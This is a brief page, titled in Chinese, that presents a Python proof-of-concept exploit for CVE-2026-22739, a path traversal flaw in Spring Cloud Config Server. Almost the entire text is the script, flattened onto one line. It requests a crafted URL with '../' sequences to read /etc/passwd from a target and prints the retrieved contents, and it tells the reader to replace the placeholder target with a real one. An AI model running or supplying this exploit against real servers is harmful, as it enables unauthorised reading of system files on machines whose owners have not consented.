CVE-2026-22739 Spring Cloud Config Server 目录遍历漏洞

# PoC for CVE-2026-22739: Spring Cloud Config Server Path Traversal import requests def check_vulnerability(target_url): # The endpoint structure usually follows: /{application}/{profile}/{label} # Attempt to read /etc/passwd using path traversal traversal_sequence = "../../../../../../../etc/passwd" # Construct the full URL # Assuming 'app' as application and 'main' as label for demonstration exploit_url = f"{target_url}/app/{traversal_sequence}/main" try: response = requests.get(exploit_url, timeout=5) if response.status_code == 200 and "root:" in response.text: print(f"[+] Target {target_url} is vulnerable!") print(f"[+] Retrieved content:\n{response.text[:200]}") else: print(f"[-] Target {target_url} appears not vulnerable or error occurred.") except Exception as e: print(f"[!] Error connecting to target: {e}") if __name__ == "__main__": target = "http://localhost:8888" # Replace with actual target check_vulnerability(target)